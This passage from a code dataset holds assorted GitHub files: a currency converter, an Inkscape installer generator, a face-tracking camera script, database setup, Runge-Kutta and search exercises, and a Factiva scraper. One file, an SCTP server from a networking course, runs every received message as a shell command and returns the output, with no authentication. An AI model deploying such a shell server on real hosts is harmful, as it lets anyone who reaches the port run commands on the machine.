moedaOrigem = 2\n try:\n moedaOrigem = int(input(\"Digite a moeda origem: \"))\n except:\n moedaOrigem = 2\n if(moedaOrigem < 1 or moedaOrigem > 4):\n moedaOrigem = 2\n\n #Receber moeda destino\n moedaDestino = 1\n try:\n moedaDestino = int(input(\"Digite a moeda destino: \"))\n except:\n moedaDestino = 1\n if(moedaDestino < 1 or moedaDestino > 4):\n moedaDestino = 1\n\n #Receber valor que vai ser convertido\n valorParaConversao = 1.00\n try:\n valorParaConversao = input(\"Digite o valor a ser convertido: \")\n valorParaConversao = valorParaConversao.replace(\",\", \".\")\n valorParaConversao = float(valorParaConversao)\n except:\n valorParaConversao = 1.00\n if(valorParaConversao <= 0):\n valorParaConversao = 1.00\n\n #Converter o número passado para a string correspondente a moeda\n arrayOrigem = NumeroMoedaParaString(moedaOrigem)\n moedaOrigem = arrayOrigem[0]\n simboloMoedaOrigem = arrayOrigem[1]\n arrayDestino = NumeroMoedaParaString(moedaDestino)\n moedaDestino = arrayDestino[0]\n simboloMoedaDestino = arrayDestino[1]\n\n #Realizar a conversão\n sleep(1)\n if(primeiraConversao):\n print('Será usado o \".\" como separador decimal')\n sleep(1)\n print(f'Conversão de {simboloMoedaOrigem}{valorParaConversao} para {simboloMoedaDestino}')\n conversao = get(f'http://economia.awesomeapi.com.br/json/last/{moedaOrigem}-{moedaDestino}').json()\n precoCompra = float(conversao[moedaOrigem+moedaDestino]['ask'])\n precoVenda = float(conversao[moedaOrigem+moedaDestino]['bid'])\n sleep(1)\n print('Usando preço de compra: {}{} * {} = {}{:.3f}'.format(simboloMoedaOrigem,valorParaConversao,precoCompra,simboloMoedaDestino,valorParaConversao*precoCompra))\n sleep(1)\n print('Usando preço de venda: {}{} * {} = {}{:.3f}'.format(simboloMoedaOrigem,valorParaConversao,precoVenda,simboloMoedaDestino,valorParaConversao*precoVenda))\nConversor(1)\nwhile(True):\n sleep(60)\n continuar = input(\"Deseja continuar? (Sim ou Não): \").upper()[0]\n if(continuar == 'S'):\n Conversor()\n else:\n break\n","repo_name":"caneta9999/UsandoPython-Projetos","sub_path":"conversorMoedas.py","file_name":"conversorMoedas.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3564245606","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nfrom __future__ import unicode_literals # make all literals unicode strings by default (even in Python 2)\n\nimport os\nimport re\nimport uuid\nfrom io import open # needed for support of encoding parameter in Python 2\n\nfrom helpers import get_inkscape_dist_dir, get_inkscape_locales_and_names\n\n# basestring is not available in Python 3\ntry:\n basestring\nexcept NameError:\n basestring = (str,bytes)\n\n\ndirectory_ids = {}\nfile_ids = {}\n\ndef indent(level):\n\tindentstring = ''\n\tfor i in range(level):\n\t\tindentstring += '\t'\n\treturn indentstring\n\ndef valid_id(identifier):\n\treturn identifier.replace('@','_')\n\ndef directory(root, breadcrumb, level, exclude=[]):\n\t\"\"\"\n\tlist all files and directory recursively\n\tcreate the file_ids dictionary to be used in ComponentGroup references\n\t\"\"\"\n\tglobal file_ids\n\tglobal directory_ids\n\t# first list files within directory\n\tfiles = [ f for f in os.listdir(root) if os.path.isfile(os.path.join(root,f)) and f not in exclude]\n\tfor file in files:\n\t\tfile_key = os.path.join(root, file)\n\t\tfile_key = file_key.replace('/', '\\\\') # for usage from MSYS2 shell\n\t\t_id = '_%06d' % (len(file_ids.keys()) + 1)\n\t\tfile_ids[file_key] = 'component' + _id\n\t\twxs.write(indent(level)+ \"\\n\")\n\t\tif file == 'inkscape.exe':\n\t\t\t# we reference inkscape.exe in inkscape.wxs\n\t\t\t_id = '_inkscape_exe'\n\t\twxs.write(indent(level + 1)+ \"\\n\")\n\t\twxs.write(indent(level)+ \"\\n\")\n\n\t# then all directories\n\tdirs = [ f for f in os.listdir(root) if os.path.isdir(os.path.join(root,f)) ]\n\tfor dir in dirs:\n\t\tdirectory_key = breadcrumb + '__' + dir\n\t\tif not directory_key in directory_ids.keys():\n\t\t\tdirectory_ids[directory_key] = 'dir_%06d' % (len(directory_ids.keys()) + 1)\n\t\twxs.write(indent(level) + \"\\n\")\n\t\tdirectory(os.path.join(root, dir), directory_key, level + 1)\n\t\twxs.write(indent(level) + \"\\n\")\n\ndef test_conditions(value, conditions):\n\t\"\"\"\n\tcheck if \"value\" fullfills any of the \"conditions\", where a condition can be\n\t - a string that has to be a substring of \"value\"\n\t - a compiled regex pattern which has to match in \"value\"\n\t\"\"\"\n\tif not isinstance(conditions, list):\n\t\tconditions = [conditions]\n\tfor condition in conditions:\n\t\tif isinstance(condition, basestring):\n\t\t\tif condition in value:\n\t\t\t\treturn True\n\t\telif isinstance(condition, type(re.compile(''))):\n\t\t\tif re.search(condition, value):\n\t\t\t\treturn True\n\treturn False\n\n\ndef ComponentGroup(name, conditions, level):\n\t\"\"\"\n\tadd componentgroup that contain all items from file_ids that match condition\n\tremove the matched elements from file_ids\n\t\"\"\"\n\tglobal file_ids\n\tkeys = [k for k in file_ids.keys() if test_conditions(k, conditions)]\n\twxs.write(indent(level) + \"\\n\")\n\tfor component in keys:\n\t\twxs.write(indent(level + 1) + \"\\n\")\n\twxs.write(indent(level) + \"\\n\")\n\tfor key in keys:\n\t\tdel file_ids[key]\n\n# get directory containing the Inkscape distribution files\ninkscape_dist_dir = get_inkscape_dist_dir()\n\n# get locales currently supported by Inkscape (dict of the form {'de': 'German (de)'})\nlocales = get_inkscape_locales_and_names()\n\nwith open('files.wxs', 'w', encoding='utf-8') as wxs:\n\twxs.write(\"\\n\")\n\twxs.write(\"\\n\")\n\twxs.write(indent(1) + \"\\n\")\n\twxs.write(indent(1) + \"\\n\")\n\twxs.write(indent(2) + \"\\n\")\n\twxs.write(indent(2) + \"\\n\")\n\twxs.write(indent(3) + \"\\n\")\n\twxs.write(indent(4) + \"\\n\")\n\tprint(\"start parsing files from \" + inkscape_dist_dir)\n\tdirectory(inkscape_dist_dir, 'inkscape', 5, ['inkscape.dbg', 'inkview.dbg', 'gdb.exe'])\n\tprint(\"found %d files\" % len(file_ids.keys()))\n\twxs.write(indent(4) + \"\\n\")\n\twxs.write(indent(3) + \"\\n\")\n\t# link to ProgramMenu\n\twxs.write(indent(3) + \"\\n\")\n\twxs.write(indent(4) + \"\\n\")\n\twxs.write(indent(3) + \"\\n\")\n\twxs.write(indent(3) + \"\\n\")\n\twxs.write(indent(2) + \"\\n\")\n\n\t# Python\n\tComponentGroup(\"Python\", ['inkscape\\\\python\\\\','inkscape\\\\lib\\\\python2.7\\\\',\n\t 'inkscape\\\\libpython', 'inkscape\\\\python'], 2)\n\t# translations and localized content\n\tfor lang_code in sorted(locales):\n\t\tComponentGroup(\"Translation_\" + valid_id(lang_code), ['\\\\' + lang_code + '\\\\',\n\t\t re.compile(r'\\.' + lang_code + r'\\.[a-z]+$')], 2)\n\t# other components\n\tComponentGroup(\"Extensions\", 'inkscape\\\\share\\\\extensions\\\\', 2)\n\tComponentGroup(\"Examples\", 'inkscape\\\\share\\\\examples\\\\', 2)\n\tComponentGroup(\"Tutorials\", 'inkscape\\\\share\\\\tutorials\\\\', 2)\n\tComponentGroup(\"Dictionaries\", ['inkscape\\\\lib\\\\aspell-0.60\\\\', 'inkscape\\\\lib\\\\enchant\\\\'], 2)\n\t# everything that is left (which should be the Inkscape core unless inkscape_dist_dir contains unnecessary files or we defined our components poorly)\n\tComponentGroup(\"AllOther\", '', 2)\n\n\t# create a FeatureGroup for translations\n\twxs.write(indent(2) + \"\\n\")\n\tsorted_locales = sorted( ((v,k) for k,v in locales.items()) ) # sort by language name (instead of language code)\n\tfor lang_name, lang_code in sorted_locales:\n\t\twxs.write(indent(3) + \"\\n\")\n\t\twxs.write(indent(4) + \"\\n\")\n\t\twxs.write(indent(3) + \"\\n\")\n\twxs.write(indent(2) + \"\\n\")\n\twxs.write(indent(1) + \"\\n\")\n\twxs.write(\"\\n\")\n","repo_name":"riclolsen/OSHMI","sub_path":"inkscape_sage_src/packaging/wix/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":6271,"program_lang":"python","lang":"en","doc_type":"code","stars":349,"dataset":"github-code","pt":"38"} +{"seq_id":"31757285477","text":"import serial\nimport struct\nimport cv2\n\n# for serial communication with aruino slave\nport = 'COM6'\nser = serial.Serial(port, 115200, timeout=0.5)\n\nface_cascade = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\neyes_cascade = cv2.CascadeClassifier(\"haarcascade_eye.xml\")\nsmile_cascade = cv2.CascadeClassifier(\"haarcascade_smile.xml\")\n\ncap = cv2.VideoCapture(1)\n\ncolor = (0, 255, 0) # BGR blue green red, not RGB red green blue, color of rectangle\nstroke = 2 # rectangle frame thickness\nnum = 0 # counter for pictures\n\nwhile True:\n # Capture frame-by-frame, one color for visual with rectangles showing, one for color visual without the\n # distracting rectangle (from which images will be collected\n ret, frame = cap.read()\n ret, frame2 = cap.read()\n\n # Our operations on the frame come here\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, scaleFactor=1.5,\n minNeighbors=5) # what is scale factor min neighbor????\n xCenter = 0 # resetting variable to be so the camera doesn't continue pan/tilt in case the last place a face was-\n yCenter = 0 # seen was out of range and continue in that direction.\n for (x, y, w, h) in faces:\n print(x, y, w, h) # to test if it sees the face\n roi_color_face = frame[y:y + h, x:x + w]\n\n end_cord_x = x + w # specifying lower corner coordinates of roi rectangle\n end_cord_y = y + h\n cv2.rectangle(frame, (x, y), (end_cord_x, end_cord_y), color,\n stroke) # object, start coordinates, end cooordinates, color rectangle, stroke thickness\n xCenter = (x + (x + w)) / 2\n yCenter = (y + (y + h)) / 2\n\n eyes = eyes_cascade.detectMultiScale(gray, scaleFactor=1.5, minNeighbors=5)\n for (ex, ey, ew, eh) in eyes:\n roi_color_eyes = frame[ey:ey + eh, ex:ex + ew]\n\n end_cord_ex = ex + ew\n end_cord_ey = ey + eh\n cv2.rectangle(frame, (ex, ey), (end_cord_ex, end_cord_ey), color, stroke)\n\n smile = smile_cascade.detectMultiScale(gray, scaleFactor=1.5, minNeighbors=5)\n for (sx, sy, sw, sh) in smile:\n roi_color_smile = frame[sy:sy + sh, sx:sx + sw]\n end_cord_sx = sx + sw\n end_cord_sy = sy + sh\n cv2.rectangle(frame, (sx, sy), (end_cord_sx, end_cord_sy), color, stroke)\n\n if num in range(0, 101, 10): # for every image between 0 and 100 with increments of 10\n img_item = \"my_img\" + str(num / 10) + \".png\"\n cv2.imwrite(img_item,\n frame2) # getting image from frame2 to be rid of colorful facial detection rectangles\n num += 1\n\n\n print(xCenter, yCenter)\n if xCenter != 0:\n if abs(xCenter) < 300: # based on resolution 480p\n ser.write('0'.encode('ascii'))\n ser.write(struct.pack('>B', 1))\n\n elif abs(xCenter) > 340:\n ser.write('0'.encode('ascii'))\n ser.write(struct.pack('>B', 2))\n\n elif 300 <= abs(xCenter) <= 340:\n ser.write('0'.encode('ascii'))\n ser.write(struct.pack('>B', 3))\n\n if yCenter != 0:\n if abs(yCenter) < 230: # based on resolution 480p\n ser.write('1'.encode('ascii'))\n ser.write(struct.pack('>B', 1))\n\n elif abs(yCenter) > 250:\n ser.write('1'.encode('ascii'))\n ser.write(struct.pack('>B', 2))\n\n elif 220 <= abs(yCenter) <= 260:\n ser.write('1'.encode('ascii'))\n ser.write(struct.pack('>B', 3))\n\n if xCenter is 0:\n ser.write('0'.encode('ascii'))\n ser.write(struct.pack('>B', 3))\n\n if yCenter is 0:\n ser.write('1'.encode('ascii'))\n ser.write(struct.pack('>B', 3))\n\n cv2.imshow('frame', frame)\n # cv2.imshow('gray',gray) # needed for detection but not or showing\n if cv2.waitKey(20) & 0xFF == ord('q'):\n break\n\n# When everything done, release the capture\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"CilllyBeat/SmartCam","sub_path":"Previous attempts/Smart Cam Face Tracking 2.py","file_name":"Smart Cam Face Tracking 2.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12229023346","text":"import configparser\nimport psycopg2\nfrom sql_queries import create_table_queries, drop_table_queries\n\n\"\"\"\n drop_tables:\n function to execute all the drop tables queries from sql_queries.py\n args:\n cur: the database cursor object\n conn: the database connection object\n\"\"\"\n\n\ndef drop_tables(cur, conn):\n for query in drop_table_queries:\n cur.execute(query)\n conn.commit()\n\n\n\"\"\"\n create_tables:\n function to execute all the creation table queries from sql_queries.py\n args:\n cur: the database cursor object\n conn: the database connection object\n\"\"\"\n\n\ndef create_tables(cur, conn):\n for query in create_table_queries:\n cur.execute(query)\n conn.commit()\n\n\n\"\"\"\n main:\n this is the main function, it will:\n - Create a connection object (conn)\n - Create a cursor object (cur)\n - Execute drop_tables\n - Execute create_tables\n - Close the connection to the database\n\"\"\"\n\n\ndef main():\n config = configparser.ConfigParser()\n config.read(\"dwh.cfg\")\n\n conn = psycopg2.connect(\n \"host={} dbname={} user={} password={} port={}\".format(\n *config[\"CLUSTER\"].values()\n )\n )\n cur = conn.cursor()\n\n drop_tables(cur, conn)\n create_tables(cur, conn)\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"chsanch/nanodegree-data-engineer-dw_project","sub_path":"create_tables.py","file_name":"create_tables.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8350731987","text":"def pattern_search(str, pattern):\n n = len(str)\n m = len(pattern)\n\n i = 0\n j = m - 1\n\n while (j < n):\n if (str[i:j + 1] == pattern):\n return True\n else:\n i += 1\n j += 1\n \n return False\n\nprint(pattern_search('mithindev', 'dev'))\n","repo_name":"mithindev/COLLEGE","sub_path":"SEM-3/BIOLOGY/CLASS - ASSIGNMENT/pattern_search.py","file_name":"pattern_search.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"6447570431","text":"import socket\nimport os\nimport subprocess\nimport signal\nimport sys\nimport threading\nimport sctp\n\n\nbind_ip = '127.0.0.1'\nbind_port = 8880\nserv_add = (bind_ip , bind_port )\nserver = sctp.sctpsocket(socket.AF_INET, sctp.UDP_STYLE, 0)\n\nserver.bind(serv_add)\nserver.listen(5)\nprint (\"[*] listening on {}:{}\".format(bind_ip,bind_port))\n\n\nwhile True:\n\n fromaddr, flags, data, notif = server.sctp_recv(1024)\n\n if data[:2].decode(\"utf-8\") == 'cd':\n os.chdir(data[3:].decode(\"utf-8\"))\n if len(data) > 0:\n cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE )\n output_bytes = cmd.stdout.read()\n output_str = str(output_bytes, \"utf-8\")\n server.sctp_send(str.encode(output_str + str(os.getcwd()) + '$'), fromaddr)\n if data[:4].decode(\"utf-8\") == 'quit':\n break\n\nserver.close()","repo_name":"szymonsto/Projekty","sub_path":"ProgramowanieSieciowePython/server_sctp_udp_style.py","file_name":"server_sctp_udp_style.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5303403237","text":"#! /usr/bin/python3\nimport unittest\nfrom parameterized import parameterized\nfrom LinearSearch import linearSearch\n\n\nclass TestLinearSearch(unittest.TestCase):\n @parameterized.expand([\n [1, [2,3,4], 3],\n [None,[5,6], 9],\n [2, [2,3,4], 4],\n\n ])\n\n def test_cases(self,expected,array,element):\n result=linearSearch(array,element)\n self.assertEqual(result,expected)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"umealy/Python","sub_path":"Linear_Search/testLinearSearch.py","file_name":"testLinearSearch.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33828445689","text":"from MethodRungeKutta import *\nfrom math import cos, sin, sqrt, e, pi, pow\nfrom SystemODY import *\n\n\n\"\"\" Объединяет все прошлые методы. \n\t\tМожет вызываться вместо остальных методов\"\"\"\n\t\t\nclass MethodRungeKuttaGetResultCurva():\n\tdef __init__(self):\n\t\tself.iteration = 1000\n\t\tself.step = 0.0001\n\t\tself.startX = 0.2\n\t\tself.startY = 0.2\n\t\tself.startZ = 0.2\n\t\tself.time = 0\n\t\tself.eps = 0.0001\n\t\tself.arrayPointRungeT = []\n\t\tself.arrayPointRungeX = []\n\t\tself.arrayPointRungeY = []\n\t\tself.arrayPointRungeZ = []\n\t\tself.dictionary = {'alfa1' : 0, 'alfa2' : 0, 'alfa3' : 0, 'beta1' : 0, 'beta2' : 0, 'beta3' : 0, 'gamma1' : 0, 'gamma2' : 0, 'gamma3' : 0}\n\t\tself.dictTime = {}\n\t\tself.cos = cos\n\t\tself.sin = sin\n\t\tself.sqrt = sqrt\n\t\tself.e = e\n\t\tself.pi = pi\n\t\tself.pow = pow\n\n\tdef setStep(self,step):\n\t\tself.step = step\n\tdef setIter(self, iteration):\n\t\tself.iteration = iteration\n\tdef setStartPoint(self, x, y=\"\", z=\"\"):\n\t\tself.startX = x\n\t\tif y != \"\" :\n\t\t\tself.startY = y\n\t\tif z != \"\" :\n\t\t\tself.startZ = z\n\n\tdef startMethodRunge(self, function1, function2, function3, iteration, startFunctionX, startFunctionY, startFunctionZ, **kwargs):\n\t\tself.dictionary[\"cos\"] = self.cos\n\t\tself.dictionary[\"sin\"] = self.sin\n\t\tself.dictionary[\"sqrt\"] = self.sqrt\n\t\tself.dictionary[\"e\"] = self.e\n\t\tself.dictionary[\"pi\"] = self.pi\n\t\tself.dictionary[\"pow\"] = self.pow\n\n\t\tif iteration == \"\":\n\t\t\titeration = self.iteration \n\n\t\tfor i in range(iteration):\n\t\t\tfor key, value in kwargs.items():\n\t\t\t\tif key.find(\"alfa\") == -1 and key.find(\"beta\") == -1 and key.find(\"gamma\") == -1:\n\t\t\t\t\tself.dictionary[key] = value\n\t\t\t\t\tcontinue\n\t\t\t\tif self.time - value > 0 :\n\t\t\t\t\tarrayPoints = self.dictTime.get(round(self.time - value, 10) )\n\t\t\t\t\tif key.find(\"alfa\") != -1:\n\t\t\t\t\t\tself.dictionary[key] = arrayPoints[0]\n\t\t\t\t\tif key.find(\"beta\") != -1:\n\t\t\t\t\t\tself.dictionary[key] = arrayPoints[1]\n\t\t\t\t\tif key.find(\"gamma\") != -1:\n\t\t\t\t\t\tself.dictionary[key] = arrayPoints[2]\n\t\t\t\telse:\n\t\t\t\t\tt = self.time - value\n\t\t\t\t\tif key.find(\"alfa\") != -1:\n\t\t\t\t\t\tself.dictionary[key] = eval(startFunctionX)\n\t\t\t\t\tif key.find(\"beta\") != -1:\n\t\t\t\t\t\tself.dictionary[key] = eval(startFunctionY)\n\t\t\t\t\tif key.find(\"gamma\") != -1:\n\t\t\t\t\t\tself.dictionary[key] = eval(startFunctionZ)\n\n\t\t\tif i == 0 and startFunctionX != \"\":\n\t\t\t\tt = self.time\n\t\t\t\tself.startX = eval(startFunctionX)\n\t\t\t\tif startFunctionY != \"\" :\n\t\t\t\t\tself.startY = eval(startFunctionY)\n\t\t\t\tif startFunctionZ != \"\" :\n\t\t\t\t\tself.startZ = eval(startFunctionZ)\n\t\t\t# ��адание начальных данных \n\t\t\tself.dictionary['x'] = self.startX\n\t\t\tself.dictionary['t'] = self.time\n\t\t\tif function2 != \"\" :\n\t\t\t\tself.dictionary['y'] = self.startY\n\t\t\tif function3 != \"\" :\n\t\t\t\tself.dictionary['z'] = self.startZ\n\t\t\t# Расчёт коэффициентов\n\t\t\tk1x = eval(function1, self.dictionary)\n\t\t\tif function2 != \"\" :\n\t\t\t\tk1y = eval(function2, self.dictionary)\n\t\t\tif function3 != \"\" :\n\t\t\t\tk1z = eval(function3, self.dictionary)\n\n\t\t\tself.dictionary['x'] = self.startX + k1x * self.step / 2\n\t\t\tself.dictionary['t'] = self.time + self.step / 2\n\t\t\tif function2 != \"\" :\n\t\t\t\tself.dictionary['y'] = self.startY + k1y * self.step / 2\n\t\t\tif function3 != \"\" :\n\t\t\t\tself.dictionary['z'] = self.startZ + k1z * self.step / 2\n\n\t\t\tk2x = eval(function1, self.dictionary)\n\t\t\tif function2 != \"\" : \n\t\t\t\tk2y = eval(function2, self.dictionary)\n\t\t\tif function3 != \"\" :\n\t\t\t\tk2z = eval(function3, self.dictionary)\n\n\t\t\tself.dictionary['x'] = self.startX + k2x * self.step / 2\n\t\t\tself.dictionary['t'] = self.time + self.step / 2\n\t\t\tif function2 != \"\" :\n\t\t\t\tself.dictionary['y'] = self.startY + k2y * self.step / 2\n\t\t\tif function3 != \"\" :\n\t\t\t\tself.dictionary['z'] = self.startZ + k2z * self.step / 2\n\n\t\t\tk3x = eval(function1, self.dictionary)\n\t\t\tif function2 != \"\" :\n\t\t\t\tk3y = eval(function2, self.dictionary)\n\t\t\tif function3 != \"\" :\t\n\t\t\t\tk3z = eval(function3, self.dictionary)\n\n\t\t\tself.dictionary['x'] = self.startX + k3x * self.step\n\t\t\tself.dictionary['t'] = self.time + self.step\n\t\t\tif function2 != \"\" :\n\t\t\t\tself.dictionary['y'] = self.startY + k3y * self.step\n\t\t\tif function3 != \"\" :\n\t\t\t\tself.dictionary['z'] = self.startZ + k3z * self.step\n\n\t\t\tk4x = eval(function1, self.dictionary)\n\t\t\tif function2 != \"\" :\n\t\t\t\tk4y = eval(function2, self.dictionary)\n\t\t\tif function3 != \"\" :\n\t\t\t\tk4z = eval(function3, self.dictionary)\n\t\t\t# Добавление вычисленных данных в массив \n\t\t\tself.arrayPointRungeX.append(self.startX)\n\t\t\tself.arrayPointRungeT.append(self.time)\n\t\t\tif function2 != \"\" :\n\t\t\t\tself.arrayPointRungeY.append(self.startY)\n\t\t\tif function3 != \"\" :\n\t\t\t\tself.arrayPointRungeZ.append(self.startZ)\n\t\t\tif function1 != \"\" and function2 != \"\" and function3 != \"\":\n\t\t\t\tself.dictTime[round(self.time, 10)] = [self.startX, self.startY, self.startZ]\n\t\t\telif function1 != \"\" and function2 != \"\" and function3 == \"\":\n\t\t\t\tself.dictTime[round(self.time, 10)] = [self.startX, self.startY]\n\t\t\telif function1 != \"\" and function2 == \"\" and function3 == \"\":\n\t\t\t\tself.dictTime[round(self.time, 10)] = [self.startX]\n\t\t\t# Получение нового значения \n\t\t\tself.startX += self.result(k1x, k2x, k3x, k4x)\n\t\t\tself.time += self.step\n\t\t\tif function2 != \"\" :\n\t\t\t\tself.startY += self.result(k1y, k2y, k3y, k4y)\n\t\t\tif function3 != \"\" :\n\t\t\t\tself.startZ += self.result(k1z, k2z, k3z, k4z)\n\n\t# Функция возвращающая приращение \n\tdef result(self, k1, k2, k3, k4):\n\t\treturn self.step / 6 * (k1 + 2*k2 + 2*k3 + k4)\n\n","repo_name":"NBprog/Method_Gira_2020","sub_path":"publicMethodRungeKutta.py","file_name":"publicMethodRungeKutta.py","file_ext":"py","file_size_in_byte":5492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72007399792","text":"\"\"\"\nfactivaScaper.py: Downloads articles from Factiva in HTML form. Uses Princeton's Factiva subscription, \n\t\t\t\t need to be in the Princeton network to use this. Gets all articles from specified source,\n\t\t\t\t or all artices between start and end dates provided by user.\nCommand Line Arguments: \n\t1: source\n\t2: start date (optional), in m/d/y form. If included, must also include end date.\n\t3: end date (optional), in m/d/y form\n\t4: destination (optional), where to save output files\n\"\"\"\n\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium import webdriver\nimport time\nimport re\nimport sys\n\nsource = sys.argv[1] # \"rst=ferc\"\nstart_date = None\nend_date = None\ndest = ''\nif len(sys.argv) > 2:\n\tstart_date = sys.argv[2].split(\"/\")\n\tend_date = sys.argv[3].split(\"/\")\n\tif len(sys.argv) > 4:\n\t\tdest = sys.argv[4]\n\telse:\n\t\traise NameError(\"Incorrect number of arguments\")\n\nprofile = webdriver.FirefoxProfile()\nprofile.permissions_default_stylesheet = 2\nprofile.permissions_default_image = 2\nwd = webdriver.Firefox(profile)\n#wd = webdriver.Firefox()\nwait = WebDriverWait(wd, 1000)\n\n# set up, enter search terms/params\nwd.get(\"http://library.princeton.edu/resource/3791\")\nwd.find_element_by_link_text(\"Access Resource\").click()\nwd.switch_to_window(wd.window_handles[1])\n#print 'choosing all dates'\nwait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, \"select#dr > option[value='_Unspecified']\")))\nif start_date == None:\n\twd.find_element_by_css_selector(\"select#dr > option[value='_Unspecified']\").click()\nelse:\n\twd.find_element_by_css_selector(\"#dr > option:nth-child(10)\").click()\n\twait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, \"div#datePnl\")))\n\twd.find_element_by_css_selector(\"#frm\").send_keys(start_date[0])\n\twd.find_element_by_css_selector(\"#frd\").send_keys(start_date[1])\n\twd.find_element_by_css_selector(\"#fry\").send_keys(start_date[2])\n\twd.find_element_by_css_selector(\"#tom\").send_keys(end_date[0])\n\twd.find_element_by_css_selector(\"#tod\").send_keys(end_date[1])\n\twd.find_element_by_css_selector(\"#toy\").send_keys(end_date[2])\n\n#print 'choosing source'\nwait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, \"textarea#ftx\")))\nwd.find_element_by_css_selector(\"textarea#ftx\").send_keys(source)\n#print 'click search'\nwd.find_element_by_css_selector(\"li#btnSBSearch\").click()\n\ndoc_id = 1\nwhile True:\n\t#if docs_got == 3: break\n\t# get the articles by checking headlines box, clicking save\n\twd.find_element_by_css_selector(\"#selectAll > input:nth-child(1)\").click()\n\twd.find_element_by_css_selector(\".ppssave > a:nth-child(1)\").click()\n\twait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, \"#listMenu-id-2 > li:nth-child(2) > a:nth-child(1)\")))\n\twd.find_element_by_css_selector(\"#listMenu-id-2 > li:nth-child(2) > a:nth-child(1)\").click()\n\n\t# switch to article page, get html\n\twd.switch_to_window(wd.window_handles[2])\n\thtml = re.sub(r'', '', unicode(wd.page_source).encode(\"utf-8\"))\n\thtml = re.sub(r'', '', html)\n\tdocument = open(str(dest) + '/data' + str(doc_id) + '.html', 'w')\n\tdocument.write(html)\n\tdocument.close()\n\twd.close()\n\n\t# go back and click the next button\n\tdoc_id += 1\n\twd.switch_to_window(wd.window_handles[1])\n\twd.find_element_by_css_selector(\"#clearAll > input:nth-child(1)\").click()\n\twait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, \"#selectAll > input:nth-child(1)\")))\n\twd.find_element_by_css_selector(\"a.nextItem\").click()\n\ttry:\n\t\twait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, \"#_ceprogressindicator > td:nth-child(1) > div:nth-child(1) > img:nth-child(1)\")))\n\texcept:\n\t\ttime.sleep(2)\t\t\n\n\n","repo_name":"delimited0/senior-thesis","sub_path":"factivaScraper.py","file_name":"factivaScraper.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"10899009266","text":"import torch\nimport cv2\n\n\nclass Image:\n def __init__(self, img_tensor):\n self.img = self.tensor_to_np(img_tensor)\n self.height, self.width, self.channels = self.img.shape\n\n\n def tensor_to_np(self, img_tensor):\n img = img_tensor.cpu().numpy().transpose(1, 2, 0)\n return img\n\n\n def draw_rect(self, rect, color=(255, 0, 0)):\n (x, y, w, h) = rect\n x *= self.width\n y *= self.height\n w *= self.width\n h *= self.height\n self.img = cv2.rectangle(self.img, (x - (w/2), y - (h/2)), (x + (w/2), y + (h/2)), color, 3)\n\n\n def show(self):\n cv2.imshow(\"Title\", self.img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","repo_name":"PM25/Object_Detection","sub_path":"mylib/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"5101497063","text":"from django.test import TestCase\nfrom django.contrib.auth.models import User\nfrom webapp.models import SocialProfile, Photo\n\n\nclass ModelsTestCase(TestCase):\n \"\"\"\n Testcase for the Utility functions .\n \"\"\"\n fixtures = ['sample_data.json']\n\n def setUp(self):\n \"\"\"\n operations to be done before every test\n \"\"\"\n self.user = User.objects.get(id=7)\n\n def test_social_profile_model(self):\n social_profile = self.user.social_profile\n self.assertEquals(str(social_profile), '1:10207225470607962')\n\n def test_photo_model_can_be_serialized(self):\n photo = Photo.objects.get(public_id='e3w3wl9m21rz')\n self.assertEquals(str(photo), ' 0):\n ans += target_dif\n \n return ans","repo_name":"dltkdals224/Algorithm","sub_path":"Leetcode/Hash Table/1347. Minimum Number of Steps to Make Two Strings Anagram.py","file_name":"1347. Minimum Number of Steps to Make Two Strings Anagram.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27616501314","text":"import unittest\n\nimport os\nimport util\nimport const\nimport mycrypto\nimport uniformdh\nimport scramblesuit\nimport base64\n\nimport Crypto.Hash.SHA256\nimport Crypto.Hash.HMAC\n\nimport obfsproxy.network.buffer as obfs_buf\nimport obfsproxy.common.transport_config as transport_config\nimport obfsproxy.transports.base as base\n\nclass CryptoTest( unittest.TestCase ):\n\n \"\"\"\n The HKDF test cases are taken from the appendix of RFC 5869:\n 